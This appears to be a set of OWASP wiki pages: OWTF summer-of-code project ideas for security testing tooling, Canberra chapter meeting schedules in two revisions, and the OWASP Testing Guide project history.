'''OWASP OWTF Mentor:'''

Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org

=== OWASP OWTF - Off-line HTTP traffic uploader ===

'''Brief explanation:'''

Although it is awesome that OWTF runs a lot of tools on behalf of the user, there are situations where uploading the HTTP traffic of another tool off-line can be very interesting for OWTF, for example:

* Tools that OWTF has trouble proxying right now: skipfish, hoppy
* Tools that the user may have run manually OR even from a tool aggregator -very common! :)-
* Tools that we just don't run from OWTF: ZAP, Burp, Fiddler

This project is about implementing an off-line utility able to parse HTTP traffic:

1) Figure out how to read output files from various tools like:
skipfish, hoppy, w3af, arachni, etc.
Nice to have: ZAP database, Burp database

2) Translate that into the following clearly defined fields:

* HTTP request
* HTTP response status code
* HTTP response headers
* HTTP response body

3) IMPORTANT: Implement a plugin-based uploader system

4) IMPORTANT: Implement ONE plugin, that uploads that into the OWTF database

5) IMPORTANT: OWTF should ideally be able to invoke the uploader right after running a tool
Example: OWTF runs skipfish, skipfish finishes, OWTF runs the HTTP traffic uploader, all skipfish data is pushed to the OWTF DB.

6) CRITICAL: The off-line HTTP traffic uploader should be smart enough to read + push 1-by-1 instead of *stupidly* trying to load everything into memory first, you have been warned! :)

Why? Because in a huge assessment, the output of "tool X" can be "10 GB", which is *stupid* to load into memory, this is OWTF, we *really* try to foresee the crash before it happens! ;)

CRITICAL: It is important to implement a plugin-based uploader system, so that other projects can benefit from this work (i.e. to be able to import third-party tool data to ZAP, Burp, and other tools in a similar fashion), and hence hopefully join us in maintaining this project moving forward.

For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]

'''Expected results:'''

* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''
* CRITICAL: Excellent reliability -i.e. the Health Monitor cannot crash! :)-
* Good performance
* Unit tests / Functional tests
* Good documentation

'''Knowledge Prerequisite:'''

Python and bash experience would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn

'''OWASP OWTF Mentor:'''

Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org

=== OWASP OWTF - Health Monitor ===

'''Brief explanation:'''

In some cases, especially on large assessments (think: > 30 URLs) a number of things often go wrong and OWTF needs to recover from everything, which is difficult.

For this reason, OWTF needs an independent module, which is completely detached from OWTF (a different process), to ensure the health of the assessment is in check at all times, this includes the following:

'''Feature 1) Alerting mechanisms'''

When any of the monitor alerts (see below) is triggered. The OWTF user will be notified immediately through ALL of the following means:
* Playing an mp3 song (both local and possibly remote locations)
* Scan status overview on the CLI
* Scan status overview on the GUI

NOTE: A configuration file from where the user can enable/disable/configure all these mechanisms is desired.

'''Feature 2) Corrective mechanisms'''

Corrective mechanisms are also expected in this project, these will be accomplished sending OWTF api messages such as:
* Stop this tool
* Freeze this process (to continue later)
* Freeze the whole scan (to continue later)

Additional mechanisms:
* Show a ranking of files that take the most space

'''Feature 3) Target monitor'''

Brief overview:

All target URLs are checked for availability periodically (i.e. once x 5 minutes?), if a URL in scope goes down the pentester is alerted (see above).

Potential approach: Check if length of 1st page changes every 60 seconds.

NOTE: It might be needed to change this on the fly.

More background

Consider the following scenario:

Current Situation aka "problem to solve":

1) Website X goes down during a scan

2) the customer notices

3) the customer tells the boss

4) the boss tells the pentester

5) the pentester stops the tool which was *still* trying to scan THAT target (!!!!)

Desired situation aka "solution":

It would be much more professional AND efficient that:

1) The pentester notices

2) The pentester tells the boss

3) The boss tells the customer

4) OWTF stops the tool because it knows that website is DEAD anyway

A target monitor could easily do this with heartbeat requests + playing mp3s

The target monitor will use the api to tell OWTF "this target is dead: freeze(stop?) current tests, skip target in future tests"

'''Feature 4) Disk space monitor'''

Another problem that is relatively common in large assessments, is that all disk space is used and the scanning box becomes unresponsive or crashes. When this happens it is too late, the pentester may also see this coming but wonder “which are the biggest files in the filesystem that I can delete”, it is not ideal to have to look for these files in a moment when the scanning box is about to crash :).

Proposed solution:

Regularly monitor how much disk space is left, especially on the partition where OWTF is writing the review (but also tool directories such as /home/username/.w3af/tmp, etc.). Keep track of files created by OWTF and all called tools and sort them by size in descending order. Then when the disk space is going low (i.e. predefined threshold), an mp3 or similar is played and this list is displayed to the user, so that they know what to delete to survive :).

'''Feature 5) Network/Internet Connectivity monitor'''

Sometimes it may also happen that ISP, etc. connectivity go down in the middle of a scan, this is often a very unfortunate situation since most tools are scanning in parallel and they won’t be able to produce a report OR even resume (i.e. A LOT is lost). The goal here is that OWTF does all of the following automatically:

1) Detects the lack of connectivity

2) Freezes all the tools (read: processes) in progress

3) Resumes the scan when the connectivity is back.

'''Feature 6) Tool crash detection'''

Sometimes, certain tools (most notably, ahem, w3af), when they crash they do NOT exit. This leaves OWTF in a difficult position where 1+ process is waiting for nothing, forever (i.e. because “Tool X” will never finish)

'''Feature 7) Tool (Plugin?) CPU/RAM/Bandwidth abuse detection and correction'''

OWTF needs to notice when some tools crash and/or “go beserk” with RAM/CPU/Bandwidth consumption, this is different from the existing built-in checks in OWTF like “do not launch a new tool if there is less than XYZ RAM free” and more like “if tool X is using > XYZ of the available RAM/CPU/Bandwidth” and this is (potentially) negatively affecting other tools/tests, then throttle it.

For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]

'''Expected results:'''

* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''
* CRITICAL: Excellent reliability -i.e. the Health Monitor cannot crash! :)-
* Good performance
* Unit tests / Functional tests
* Good documentation

'''Knowledge Prerequisite:'''

Python and bash experience would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn

'''OWASP OWTF Mentor:'''

Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org

=== OWASP OWTF - Installation Improvements and Package manager ===

'''Brief explanation:'''

This project is to implement what was suggested in the following github issue:
[https://github.com/owtf/owtf/issues/192 https://github.com/owtf/owtf/issues/192]

Recently i tried to make a fresh installation of OWTF. The installation process takes too much time. Is there any way to make the installation faster?
Having a private server with:
* pre-installed files for VMs
* pre-configured and patched tools
* Merged Lists
* Pre-configured certificates
Additionally a minimal installation which will install the core of OWTF with the option of update can increase the installation speed. The update procedure will start fetching the latest file versions from the server and copy them to the right path.
Additional ideas are welcome.

-- They could be hosted on Dropbox or a private VPS :)

2 Installation Modes
* For high speed connections (Downloading the files uncompressed)
* For low speed connections (Downloading the files compressed)
and the installation crashed because i runned out of space in the vm
IMPORTANT NOTE: OWTF should check the available disk space BEFORE installation starts + warn the user if problems are likely

For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]

'''Expected results:'''

* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''
* Excellent reliability (i.e. proper exception handling, etc.)
* Good performance
* Unit tests / Functional tests
* Good documentation

'''Knowledge Prerequisite:'''

Python and bash experience would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn

'''OWASP OWTF Mentor:'''

Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org

=== OWASP OWTF - Testing Framework Improvements ===

'''Brief explanation:'''

As OWASP OWTF grows it makes sense to build custom unit tests to automatically re-test that functionality has not been broken. In this project we would like to improve the existing unit testing framework so that creating OWASP OWTF unit tests is as simple as possible and all missing tests for new functionality are created. The goal of this project is to update the existing Unit Test Framework to create all missing tests as well as improve the existing ones to verify OWASP OWTF functionality in an automated fashion.

'''Top features'''

In this improvement phase, the Testing Framework should:
* (Top Prio) Focus more on functional tests
For example: Improve coverage of OWASP Testing Guide, PTES, etc. (lots of room for improvement there!)
* (Top Prio) Put together a great wiki documentation section for contributors
The goal here is to help contributors write tests for the functionality that they implement. This should be as easy as possible.
* (Top Prio) Fix the current Travis issues :)
* (Nice to have) Bring the unit tests up to speed with the codebase
This will be challenging but very worth trying after top priorities.
The wiki should be heavily updated so that contributors create their own unit tests easily moving forward.

'''General background'''

The Unit Test Framework should be able to:
* Define test categories: For example, "all plugins", "web plugins", "aux plugins", "test framework core", etc. (please see [http://www.slideshare.net/abrahamaranguren/introducing-owasp-owtf-workshop-brucon-2012 this presentation] for more background)
* Allow to regression test isolated plugins (i.e. "only test _this_ plugin")
* Allow to regression test by test categories (i.e. "test only web plugins")
* Allow to regression test everything (i.e. plugins + framework core: "test all")
* Produce meaningful statistics and easy to navigate logs to identify which tests failed and ideally also hints on how to potentially fix the problem where possible
* Allow for easy creation of _new_ unit tests specific to OWASP OWTF
* Allow for easy modification and maintenance of _existing_ unit tests specific to OWASP OWTF
* Perform well so that we can run as many tests as possible in a given period of time
* Potentially leverage the python unittest library: [http://docs.python.org/2/library/unittest.html http://docs.python.org/2/library/unittest.html]

For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]

'''Expected results:'''

* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''
* Performant and automated regression testing
* Unit tests for a wide coverage of OWASP OWTF, ideally leveraging the Unit Test Framework where possible
* Good documentation

'''Knowledge Prerequisite:'''

Python, experience with unit tests and automated regression testing would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn

'''OWASP OWTF Mentor:'''

Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org

=== OWASP OWTF - Tool utilities module ===

'''WARNING: This idea is taken from the 1st round of OWCS selections (Sept. 15th), please do NOT apply'''

'''Brief explanation:'''

The spirit of this feature is something that may or may not be used from OWTF: These are utilities that may be chained together by OWTF OR a penetration tester using the command line. The idea is to automate mundane tasks that take time but may provide a lever to a penetration tester short on time.

'''Feature 1) Vulnerable software version database:'''

Implement a searchable vulnerable software version database so that a penetration tester enters a version and gets vulnerabilities sorted by criticality with MAX Impact vulnerabilities at the top (possibly: CVSS score in DESC order).

Example:
[http://www.cvedetails.com/vulnerability-list.php?vendor_id=74&product_id=128&version_id=149817&page=1&hasexp=0&opdos=0&opec=0&opov=0&opcsrf=0&opgpriv=0&opsqli=0&opxss=0&opdirt=0&opmemc=0&ophttprs=0&opbyp=0&opfileinc=0&opginf=0&cvssscoremin=0&cvssscoremax=0&year=0&month=0&cweid=0&order=3&trc=17&sha=0d26af6f3ba8ea20af18d089df40c252ea09b711 Vulnerabilities against specific software version]

'''Feature 2) Nmap output file merger:'''

Unify nmap files *without* losing data: XML, text and greppable formats
For example: Sometimes 2 scans pass through the same port, one returns the server version, the other does not, we obviously do not want to lose banner information :).

'''Feature 3) Nmap output file vulnerability mapper'''

From an nmap output file, get the unique software version banners, and provide a list of (maybe in tabs?):

1) CVEs in reverse order of CVSS score, with links.

2) Metasploit modules available for each CVE / issue

NOTE: Can supply an *old* shell script for reference

3) Servers/ports affected (i.e. all server / port combinations using that software version)

'''Feature 4) URL target list creator:'''

Turn all “speaks http” ports (from any nmap format) into a list of URL targets for OWTF

'''Feature 5) Hydra command creator:'''

nmap file in => Hydra command list out

grep http auth / login pages in output files to identify login interfaces => Hydra command list out

'''Feature 6) WP-scan command creator:'''

look at all URLs (i.e. nmap file), check if they might be running word press, generate a list of suggested wp-scan commands for all targets that might be running word press

For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]

'''Expected results:'''

* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''
* Excellent reliability (i.e. proper exception handling, etc.)
* Good performance
* Unit tests / Functional tests
* Good documentation

'''Knowledge Prerequisite:'''

Python, experience with unit tests and automated regression testing would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn

'''OWASP OWTF Mentor:'''

Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org

== OWASP ZAP ==

We are in the process of deciding the set of ZAP projects for Google Summer of Code 2015.

You can follow (and join in) the discussions on the ZAP Developer Group: https://groups.google.com/d/msg/zaproxy-develop/Uy0JPkzsI_s/Bj7OTSkISCIJ

== OWASP Testing Guide ==

=== OTG ZAP Integration ===
'''Brief explanation:'''

We would like the OWASP Testing Guide and ZAP to be more tightly integrated. This would require adjustments to the Testing Guide, or separate Testing with ZAP Guide, to explain how testing is completed with ZAP. ZAP would need to have reporting updated to refer to the Testing Guide test cases.

'''Expected outputs:'''

Amended OTG or Testing with ZAP Guide
Amended ZAP report strings

'''Knowledge required:'''

Writing skills

'''OTG ZAP Integration mentor:'''

Andrew Muller - OTG Project Co-Leader - Contact: Andrew.muller@owasp.org

Canberra

2014-12-08T11:54:00Z

Andrew Muller:

[[File:Parliament_house.jpg|900px]] {{Chapter Template|chaptername=Canberra|extra=The chapter leaders are [mailto:andrew.muller@owasp.org Andrew Muller] and [mailto:nigel.phair@canberra.edu.au Nigel Phair]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-canberra|emailarchives=http://lists.owasp.org/pipermail/owasp-canberra}}

== Local News ==

We are teaming up with SANS from 5pm to 9pm on the 11th of February 2013 to deliver two great speakers in a new venue, the National Library Conference Room. Obviously this meeting WON'T be in our regular venue, so please note the event details in our calendar below.

== Regular OWASP meetings ==

The meetings of the Canberra OWASP Chapter will be held every three months on the first Wednesday of the month, but if we can keep the speakers rolling every month, then we'll make it once a month. The meeting venue and format will stay much the same with the venue kindly provided by the [http://www.canberra.edu.au/cis Centre for Internet Safety (CIS)] and the pizza and beer sponsored by [http://www.ibm.com IBM].

'''Date:''' See table below

'''Time:''' 6:00pm to 9:00pm

'''Place:''' CIS Offices, 170 Haydon drive, Bruce, ACT [http://maps.google.com.au/maps?q=170+Haydon+Drive,+Bruce,+Australian+Capital+Territory&hl=en&ll=-35.237246,149.091924&spn=0.005682,0.007462&sll=-25.335448,135.745076&sspn=69.187564,122.255859&oq=170+Haydon+drive&t=h&hnear=170+Haydon+Dr,+Bruce+Australian+Capital+Territory+2617&z=18]

'''Proceedings:'''

1) News, rumour and innuendo in AppSec by chapter leader ([https://www.owasp.org/images/f/fd/OWASP_Canberra_chapter_introduction.ppt slide deck])

2) Guest speaker

3) Networking and drinks

{| border="1"
|- style="background:lightblue; color:black"
| '''Date''' || '''Guest Speaker''' || '''Topic'''
|-
| 6th June 2012 || '''Tim Scully''', Independent Cyber Security Advocate & Intelligence Risk Consultant and Foundation Board Member of CREST Australia || [https://www.owasp.org/images/5/56/OWASP_-_Scully.pptx The Cyber Threat, Trophy Information & the Fortress Mentality]
|-
| 4th July 2012 || '''Justin Smith''', Chief Architect of Agile Digital || A Case Study in Web Security for Large Scale Consumer Portals
|-
| 19th July 2012 || '''Jacob West''', Chief Technology Officer of HP Fortify ||
[https://www.owasp.org/images/b/b2/OWASP_Canberra_chapter_introduction_%28July_19%29.ppt Chapter intro][https://www.owasp.org/images/9/96/Software_Security_goes_Mobile_-_Jacob_West.pdf Software Security goes Mobile]
|-
| 2nd October 2012 || '''Luke Smith''', CREST UK || Introduction to CREST and its benefits
|-
| 14th November 2012 || '''Chris Brookes''', Director Technical Assessments, Defence Signals Directorate || Cyber Security Operations Centre - Common findings and recommendations 2 years on
|-
| rowspan=4|11th February 2013 || colspan= |Joint presentation with SANS '''NOTE:''' the venue will be the National Library [https://www.owasp.org/images/4/43/OWASP_Canberra_chapter_introduction_%282013_February_11%29.pdf Chapter intro]
|-
| '''MakeHackVoid''' || 3D printer, quadcopter UAV demos and MOAR! ||
|-
| '''Scott McLeod''', Chief Technology Officer of Australian Federal Police || Building successful teams using engineers and technologists
|-
| '''Nick Klein''', Independent Computer Forensic Consultant || [https://www.owasp.org/images/3/3d/Undersatnding_Computer_Forensics_%2811_Feb_2012%29.pdf How to do a computer forensic investigation … and not get burned]
|-
| 3rd April 2013 || '''Nathaniel Wieriks & George Stewart''', security consultants || [https://www.owasp.org/images/b/b5/OWASP_Canberra_chapter_introduction_%282013_April_3%29.pptx Chapter Intro] [https://www.owasp.org/images/9/98/The_Modern_Response_A_Defenders_Perspective.pdf A Modern Approach to Countering Evolving Cyber Threats]
|-
| 6th May 2013 || '''Jim Manico''', OWASP global board member and VP of Security Architecture at WhiteHatSec || TBA
|-
| rowspan=2|10th July 2013 || colspan=2|SANS Community Presentation '''NOTE:''' the venue will be the Hotel Realm]
|-
| '''Justin Searle''', SANS Instructor, OWASP contributor and all round good guy || Pentesting the Smart Grid
|-
| rowspan=2|18th September 2013 || '''Len Kleinman''', Director, Vulnerability Management and Research, Australian Tax Office (ATO) || Building World-Class Vulnerabilty Management and Incident Response Teams
|-
| '''MakeHackVoid''' || Hardware Hackery, 3D printer, quadcopter UAV demos and MOAR! ||
|-
| 6th December 2013 || '''Matt Jones''', Volvent || shooting clay pidgins - a look at the libpurple IM library
|-
| 28th March 2014 || '''Paul Theriault''', Mozilla || [https://people.mozilla.org/~ptheriault/talk.ppt Firefox OS security model and workshop] [http://www.mozilla.org/security/bug-bounty-faq-webapp.html#eligible-bugs Mozilla bug bounties]
|-
| 30th July 2014 || '''Simon Bennetts''', Mozilla || Introduction to Zed Attack Proxy (ZAP) [http://sourceforge.net/projects/zaproxy/files/docs/ZAPGettingStartedGuide.pdf/download][https://www.owasp.org/index.php/File:2014-07-30owaspzapcoursecanberra1-140731025357-phpapp02.ppt Slidedeck (with answers)]
|-
| 29th August 2014 || '''Simon Bennetts''', Mozilla || Introduction to Zed Attack Proxy (ZAP) [http://sourceforge.net/projects/zaproxy/files/docs/ZAPGettingStartedGuide.pdf/download]
|-
| 26th September 2014 || '''Simon Bennetts''', Mozilla || Fuzzing with Zed Attack Proxy (ZAP) [http://sourceforge.net/projects/zaproxy/files/docs/ZAPGettingStartedGuide.pdf/download]
|-
| 6th November 2014 || '''Simon Bennetts''', Mozilla || Scripting with Zest & Zed Attack Proxy (ZAP) [http://sourceforge.net/projects/zaproxy/files/docs/ZAPGettingStartedGuide.pdf/download]
|-
| 17th December 2014 || Mozilla || Mozilla Bug Hunt [http://www.mozilla.org/security/bug-bounty-faq-webapp.html#eligible-bugs Mozilla bug bounties]
|}

For anyone wishing to deliver or suggest a relevant presentation at a future chapter meeting, please review the speaker agreement and contact the chapter leader (andrew.muller@owasp.org).

Everyone is welcome to join us at our chapter meetings, whether you're an OWASP member or not!

[[Category:OWASP Chapter]]
[[Category:Australia]]

Canberra

2014-10-29T12:24:23Z

Andrew Muller:

[[File:Parliament_house.jpg|900px]] {{Chapter Template|chaptername=Canberra|extra=The chapter leaders are [mailto:andrew.muller@owasp.org Andrew Muller] and [mailto:nigel.phair@canberra.edu.au Nigel Phair]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-canberra|emailarchives=http://lists.owasp.org/pipermail/owasp-canberra}}

== Local News ==

We are teaming up with SANS from 5pm to 9pm on the 11th of February 2013 to deliver two great speakers in a new venue, the National Library Conference Room. Obviously this meeting WON'T be in our regular venue, so please note the event details in our calendar below.

== Regular OWASP meetings ==

The meetings of the Canberra OWASP Chapter will be held every three months on the first Wednesday of the month, but if we can keep the speakers rolling every month, then we'll make it once a month. The meeting venue and format will stay much the same with the venue kindly provided by the [http://www.canberra.edu.au/cis Centre for Internet Safety (CIS)] and the pizza and beer sponsored by [http://www.ibm.com IBM].

'''Date:''' See table below

'''Time:''' 6:00pm to 9:00pm

'''Place:''' CIS Offices, 170 Haydon drive, Bruce, ACT [http://maps.google.com.au/maps?q=170+Haydon+Drive,+Bruce,+Australian+Capital+Territory&hl=en&ll=-35.237246,149.091924&spn=0.005682,0.007462&sll=-25.335448,135.745076&sspn=69.187564,122.255859&oq=170+Haydon+drive&t=h&hnear=170+Haydon+Dr,+Bruce+Australian+Capital+Territory+2617&z=18]

'''Proceedings:'''

1) News, rumour and innuendo in AppSec by chapter leader ([https://www.owasp.org/images/f/fd/OWASP_Canberra_chapter_introduction.ppt slide deck])

2) Guest speaker

3) Networking and drinks

{| border="1"
|- style="background:lightblue; color:black"
| '''Date''' || '''Guest Speaker''' || '''Topic'''
|-
| 6th June 2012 || '''Tim Scully''', Independent Cyber Security Advocate & Intelligence Risk Consultant and Foundation Board Member of CREST Australia || [https://www.owasp.org/images/5/56/OWASP_-_Scully.pptx The Cyber Threat, Trophy Information & the Fortress Mentality]
|-
| 4th July 2012 || '''Justin Smith''', Chief Architect of Agile Digital || A Case Study in Web Security for Large Scale Consumer Portals
|-
| 19th July 2012 || '''Jacob West''', Chief Technology Officer of HP Fortify ||
[https://www.owasp.org/images/b/b2/OWASP_Canberra_chapter_introduction_%28July_19%29.ppt Chapter intro][https://www.owasp.org/images/9/96/Software_Security_goes_Mobile_-_Jacob_West.pdf Software Security goes Mobile]
|-
| 2nd October 2012 || '''Luke Smith''', CREST UK || Introduction to CREST and its benefits
|-
| 14th November 2012 || '''Chris Brookes''', Director Technical Assessments, Defence Signals Directorate || Cyber Security Operations Centre - Common findings and recommendations 2 years on
|-
| rowspan=4|11th February 2013 || colspan= |Joint presentation with SANS '''NOTE:''' the venue will be the National Library [https://www.owasp.org/images/4/43/OWASP_Canberra_chapter_introduction_%282013_February_11%29.pdf Chapter intro]
|-
| '''MakeHackVoid''' || 3D printer, quadcopter UAV demos and MOAR! ||
|-
| '''Scott McLeod''', Chief Technology Officer of Australian Federal Police || Building successful teams using engineers and technologists
|-
| '''Nick Klein''', Independent Computer Forensic Consultant || [https://www.owasp.org/images/3/3d/Undersatnding_Computer_Forensics_%2811_Feb_2012%29.pdf How to do a computer forensic investigation … and not get burned]
|-
| 3rd April 2013 || '''Nathaniel Wieriks & George Stewart''', security consultants || [https://www.owasp.org/images/b/b5/OWASP_Canberra_chapter_introduction_%282013_April_3%29.pptx Chapter Intro] [https://www.owasp.org/images/9/98/The_Modern_Response_A_Defenders_Perspective.pdf A Modern Approach to Countering Evolving Cyber Threats]
|-
| 6th May 2013 || '''Jim Manico''', OWASP global board member and VP of Security Architecture at WhiteHatSec || TBA
|-
| rowspan=2|10th July 2013 || colspan=2|SANS Community Presentation '''NOTE:''' the venue will be the Hotel Realm]
|-
| '''Justin Searle''', SANS Instructor, OWASP contributor and all round good guy || Pentesting the Smart Grid
|-
| rowspan=2|18th September 2013 || '''Len Kleinman''', Director, Vulnerability Management and Research, Australian Tax Office (ATO) || Building World-Class Vulnerabilty Management and Incident Response Teams
|-
| '''MakeHackVoid''' || Hardware Hackery, 3D printer, quadcopter UAV demos and MOAR! ||
|-
| 6th December 2013 || '''Matt Jones''', Volvent || shooting clay pidgins - a look at the libpurple IM library
|-
| 28th March 2014 || '''Paul Theriault''', Mozilla || [https://people.mozilla.org/~ptheriault/talk.ppt Firefox OS security model and workshop] [http://www.mozilla.org/security/bug-bounty-faq-webapp.html#eligible-bugs Mozilla bug bounties]
|-
| 30th July 2014 || '''Simon Bennetts''', Mozilla || Introduction to Zed Attack Proxy (ZAP) [http://sourceforge.net/projects/zaproxy/files/docs/ZAPGettingStartedGuide.pdf/download][https://www.owasp.org/index.php/File:2014-07-30owaspzapcoursecanberra1-140731025357-phpapp02.ppt Slidedeck (with answers)]
|-
| 29th August 2014 || '''Simon Bennetts''', Mozilla || Introduction to Zed Attack Proxy (ZAP) [http://sourceforge.net/projects/zaproxy/files/docs/ZAPGettingStartedGuide.pdf/download]
|-
| 26th September 2014 || '''Simon Bennetts''', Mozilla || Fuzzing with Zed Attack Proxy (ZAP) [http://sourceforge.net/projects/zaproxy/files/docs/ZAPGettingStartedGuide.pdf/download]
|-
| 6th November 2014 || '''Simon Bennetts''', Mozilla || Scripting with Zest & Zed Attack Proxy (ZAP) [http://sourceforge.net/projects/zaproxy/files/docs/ZAPGettingStartedGuide.pdf/download]
|-
| 28th-30th November 2014 || Mozilla || Mozilla Bug Hunt [http://www.mozilla.org/security/bug-bounty-faq-webapp.html#eligible-bugs Mozilla bug bounties]
|}

For anyone wishing to deliver or suggest a relevant presentation at a future chapter meeting, please review the speaker agreement and contact the chapter leader (andrew.muller@owasp.org).

Everyone is welcome to join us at our chapter meetings, whether you're an OWASP member or not!

[[Category:OWASP Chapter]]
[[Category:Australia]]

OWASP Testing Project

2014-09-18T10:10:44Z

Andrew Muller: /* OWASP Testing Guide v4 */

{{OWASP Breakers}}
{{OWASP Book|5691953}}
{{Social Media Links}}

= New OWASP Testing Guide =

== OWASP Testing Guide v4 ==

ANNOUNCING THE NEW "OWASP TESTING GUIDE v4

17th September, 2014: OWASP is announcing the new OWASP Testing Guide v4.<br>

A big thank you to all the contributors and reviewers!<br>

<br>You can download the Guide [https://www.owasp.org/index.php/File:Testing_guide_V4_portrait.pdf here]<br>

[[File:OWTGv4 Cover.png]]

Or browse the guide on the wiki [https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents here]

= Old OWASP Testing Guides =

== OWASP Testing Guide v3 ==

16th December 2008: OWASP Testing Guide v3 is finished!<br>

*You can download the Guide in PDF [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here]
*Download the presentation [https://www.owasp.org/images/2/2c/OWASP_EU_Summit_2008_OWASP_Testing_Guide_v3.ppt here]
*Browse the Testing Guide v3 on the wiki [https://www.owasp.org/index.php/OWASP_Testing_Guide_v3_Table_of_Contents here]

''''NEW: OWASP projects and resources you can use TODAY''''<br>
16th April 2010 in London, OWASP leaders deliver a course focused on the main OWASP Projects.<br>
Matteo Meucci will deliver a training course on the OWASP Testing Guide v3. <br>
More information [http://www.owasp.org/index.php/London/Training/OWASP_projects_and_resources_you_can_use_TODAY here]

Video @ FOSDEM 09: [http://fosdem.unixheads.org/2009/maintracks/owasp.ogv here]

Citations:

http://www.owasp.org/index.php/Testing_Guide_Quotes

== Overview ==

This project's goal is to create a "best practices" web application penetration testing framework which users can implement in their own organizations and a "low level" web application penetration testing guide that describes how to find certain issues.

Version 3 of the Testing Guide was released in December 2008 after going through a major upgrade through the [[OWASP Summer of Code 2008]].

= Background and Motivation =

'''History Behind Project''' The OWASP Testing guide originated in 2003 with Dan Cuthbert as one of the original editors. It was handed over to [[User:EoinKeary|Eoin Keary]] in 2005 and moved onto the new OWASP wiki when it came online. Being in a wiki is easier for people to contribute and has made updating much easier. [[User:Mmeucci|Matteo Meucci]] took on the Testing guide after Eoin and shepherded it through the version 2 and version 3 updates, which have been significant improvements.

= Project History =

== OWASP Testing Guide v3 ==

Testing Guide v3: plan (archive)

26th April 2008: Version 3 of the Testing Guide started under [[OWASP Summer of Code 2008]].

6th November 2008: Completed draft created and previewed at [[OWASP EU Summit 2008|OWASP EU Summit 2008 in Portugal]].

Final stable release in December 2008

== OWASP Testing Guide v2 ==

'''10th February 2007: The OWASP Testing Guide v2 is now published''' [[User:Mmeucci|Matteo Meucci]] (as part of his [[OWASP Autumn of Code 2006 - Projects: Testing Guide|AoC project]]) has just published the latest version of Testing guide which:

*you can read it on line on the [http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Table_of_Contents Testing Guide v2 wiki]
*or download the Guide in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_pdf.zip Adobe PDF format] or in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_doc.zip Ms Doc format]

'''OWASP Testing Guide v2 in Spanish:''' Now you can get a complete translation in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_spanish_doc.zip Ms Doc format]

For comments or questions, please join the [http://lists.owasp.org/mailman/listinfo/owasp-testing OWASP Testing mailing list], read our archive and share your ideas. Alternatively you can contact [[User:EoinKeary|Eoin Keary]] or [[User:Mmeucci|Matteo Meucci]] directly.

Here you can find:

*[http://www.owasp.org/index.php/Testing_Guide_Quotes The OWASP Testing Guide 'Quotes']
*[http://www.owasp.org/index.php/OWASP_Testing_Guide_Presentations Testing Guide presentations]

= Related =

'''OWASP Testing Guide (v2+v3) Report Generator''' is found at [http://yehg.net/lab/#wasarg http://yehg.net/lab/#wasarg].

